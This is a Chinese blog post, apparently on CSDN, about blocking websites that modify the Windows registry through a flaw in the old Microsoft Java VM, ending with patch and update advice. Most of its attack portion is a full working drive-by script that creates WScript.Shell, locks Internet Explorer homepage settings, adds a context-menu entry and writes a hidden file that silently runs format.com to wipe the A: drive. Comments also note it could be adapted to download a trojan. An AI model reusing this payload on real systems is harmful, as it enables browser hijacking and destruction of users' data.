如何不让网站修改你的注册表

最近发现很多网友发表用javascript修改用户注册表的代码, 同时一些网站为将自己设为用户browser的home page或IE的标题, 故意使用这种代码. 在次, 我将向大家介绍,如何防止被网站修改了你的注册表.

首先让我们来看一下网站修改注册表的javascript code.

-----------------------------------------------------------------------------------------------------

<script>
//初始化actiVex控件
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")
//初始化actiVex控件结束
//定义变量
function reg(){
try
{
//设定applets为0
a=document.applets[0]
//初始化Windows Script Host Shell Object
a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
a.createInstance()
S=a.GetObject()
//初始化FileSystem Object
a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")
a.createInstance();
fs=a.GetObject()
try
{
//开始写注册表
//设定IE的标题为Internet Explorer
S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//Main//Window Title","Internet Explorer")
//设定IE的默认首页为空白页
S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//Main//Start Page","about:blank")
//让设定首页那项变灰
S.RegWrite ("HKEY_USERS//.DEFAULT//Software//Policies//Microsoft//Internet Explorer//Control Panel//HomePage",0x1,"REG_DWORD")
//让设定分级审查设定那项变灰
S.RegWrite ("HKEY_USERS//.DEFAULT//Software//Policies//Microsoft//Internet Explorer//Control Panel//SecChangeSettings",0x1,"REG_DWORD")
//在网页右键菜单中加入调用文件的命令
S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//MenuExt//格式化A盘//","c://format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");
//写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型]
//对于REG_DWORD型和REG_BINARY型则有两种赋值方式
//直接用十进制的数表示,如:0,1等
//用十六进制的数表示,如:0x12,0xff等
S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//MenuExt//格式化A盘//contexts",0xf3,"REG_DWORD")
//结束写注册表
//开始写硬盘
//生成一个名为c://5flash.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件
hd=fs.CreateTextFile("c://format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//把这个文件写入javascript内容
//脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化
hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<//script>')
//关闭这个文件
hd.close()
//把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的,然后在后面接上.Copy("d:/format.txt"),这个脚本可以改成下载木马
//格式为file=fs.GetFile("网络路径").Copy("运行路径")
//这个脚本如果配合asp,那么完全成了一个功能非常强大的木马了
file=fs.GetFile("c://format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//设定这个文件的属性为隐藏
file.Attributes=6
//结束写硬盘
}
catch(reg)
{}
}
catch(reg)
{}
}
function flash()
{
//隔100毫秒就运行一次
setTimeout("reg()",100)
}
flash()
//最后再重申,这个脚本不可用来害人,谢~
</script>

-----------------------------------------------------------------------------------------------------

大家会注意到, 这段代码首先会将com.ms.activeX.ActiveXComponent写到page中去,然后通过它来创建对{0d43fe01-f093-11cf-8940-00a0c9054228}即WScript.Shell的引用,所以问题的关键点就是javascript能在网页中使用com.ms.activeX.ActiveXComponent作为applet. 而com.ms.activeX.ActiveXComponent是Microsoft设计出来在Java Application和签名的可信任applet中使用的, 它本身不应该被作为applet在javascript中使用.这是Microsoft的Java VM的一个漏洞, 这个漏洞将会影响以下一些版本的VM:

 1. builds 版本 2000 系列

 2. builds 版本 3100 系列

 3. builds 版本 3200 系列

 4. builds 版本 3300 系列

大家可以在命令行输入jview,  看到version x.xx.xxxx中的xxxx就是你的builds号.

针对这个漏洞, Microsoft给出了响应的补丁, 请到

http://www.microsoft.com/java/vm/dl_vm40.htm

去下栽安装最新版的VM.

 

关于此漏洞的详细描述请看Microsfot的Knowledge base:

http://support.microsoft.com/support/kb/articles/Q275/6/09.ASP?LN=EN-US

 

最近, Microsoft在browser, email和IIS方面发现很多严重漏洞, 大家一定要经常的它的http://windowsupdate.microsoft.com/站点去看看有没有新的补丁要打. 很多病毒和黑客程序都是利用用户的麻痹大意来攻击.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值